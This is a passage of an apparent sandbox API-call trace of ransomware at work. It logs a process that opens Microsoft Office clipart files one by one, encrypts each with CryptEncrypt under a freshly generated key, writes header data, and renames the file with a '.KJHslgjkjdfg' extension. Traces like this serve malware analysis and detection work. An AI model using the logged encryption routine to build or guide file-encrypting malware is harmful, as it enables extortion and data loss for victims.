lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.029] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.029] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.029] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.029] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.029] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1374, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1374, lpOverlapped=0x0) returned 1 [0201.030] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1380, dwBufLen=0x1380 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1380) returned 1 [0201.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.030] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1380, lpOverlapped=0x0) returned 1 [0201.030] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.030] SetEndOfFile (hFile=0x130) returned 1 [0201.032] GetProcessHeap () returned 0x2ef0000 [0201.032] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.032] GetProcessHeap () returned 0x2ef0000 [0201.032] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.kjhslgjkjdfg")) returned 1 [0201.033] CloseHandle (hObject=0x130) returned 1 [0201.033] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1 [0201.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.034] GetProcessHeap () returned 0x2ef0000 [0201.035] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.035] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.035] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.035] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.035] GetProcessHeap () returned 0x2ef0000 [0201.035] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.035] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.035] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.035] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.037] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.037] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.037] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.037] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.038] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.038] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.038] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbe0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbe0, lpOverlapped=0x0) returned 1 [0201.038] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbe0) returned 1 [0201.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.038] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbe0, lpOverlapped=0x0) returned 1 [0201.038] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.038] SetEndOfFile (hFile=0x130) returned 1 [0201.039] GetProcessHeap () returned 0x2ef0000 [0201.039] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.039] GetProcessHeap () returned 0x2ef0000 [0201.039] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.kjhslgjkjdfg")) returned 1 [0201.040] CloseHandle (hObject=0x130) returned 1 [0201.040] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1 [0201.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.041] GetProcessHeap () returned 0x2ef0000 [0201.041] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.041] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.041] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.041] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.041] GetProcessHeap () returned 0x2ef0000 [0201.041] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.041] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.041] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.041] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.042] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.043] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.043] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.043] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.043] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.043] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.043] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f40, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f40, lpOverlapped=0x0) returned 1 [0201.044] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f40) returned 1 [0201.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.044] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f40, lpOverlapped=0x0) returned 1 [0201.044] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.044] SetEndOfFile (hFile=0x130) returned 1 [0201.046] GetProcessHeap () returned 0x2ef0000 [0201.046] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.046] GetProcessHeap () returned 0x2ef0000 [0201.046] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.kjhslgjkjdfg")) returned 1 [0201.047] CloseHandle (hObject=0x130) returned 1 [0201.047] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1 [0201.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.048] GetProcessHeap () returned 0x2ef0000 [0201.048] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.048] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.048] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.050] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.050] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.050] GetProcessHeap () returned 0x2ef0000 [0201.050] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.050] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.050] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.050] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.050] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.050] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.050] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.051] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.051] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.051] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.051] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4054, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4054, lpOverlapped=0x0) returned 1 [0201.052] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4060, dwBufLen=0x4060 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4060) returned 1 [0201.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.052] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4060, lpOverlapped=0x0) returned 1 [0201.052] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.052] SetEndOfFile (hFile=0x130) returned 1 [0201.055] GetProcessHeap () returned 0x2ef0000 [0201.055] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.055] GetProcessHeap () returned 0x2ef0000 [0201.055] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.kjhslgjkjdfg")) returned 1 [0201.055] CloseHandle (hObject=0x130) returned 1 [0201.056] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1 [0201.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.057] GetProcessHeap () returned 0x2ef0000 [0201.057] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.057] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.057] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.059] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.059] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.059] GetProcessHeap () returned 0x2ef0000 [0201.059] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.059] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.059] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.059] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.059] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.059] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.059] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.059] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.059] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.059] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.060] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1acc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1acc, lpOverlapped=0x0) returned 1 [0201.060] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, 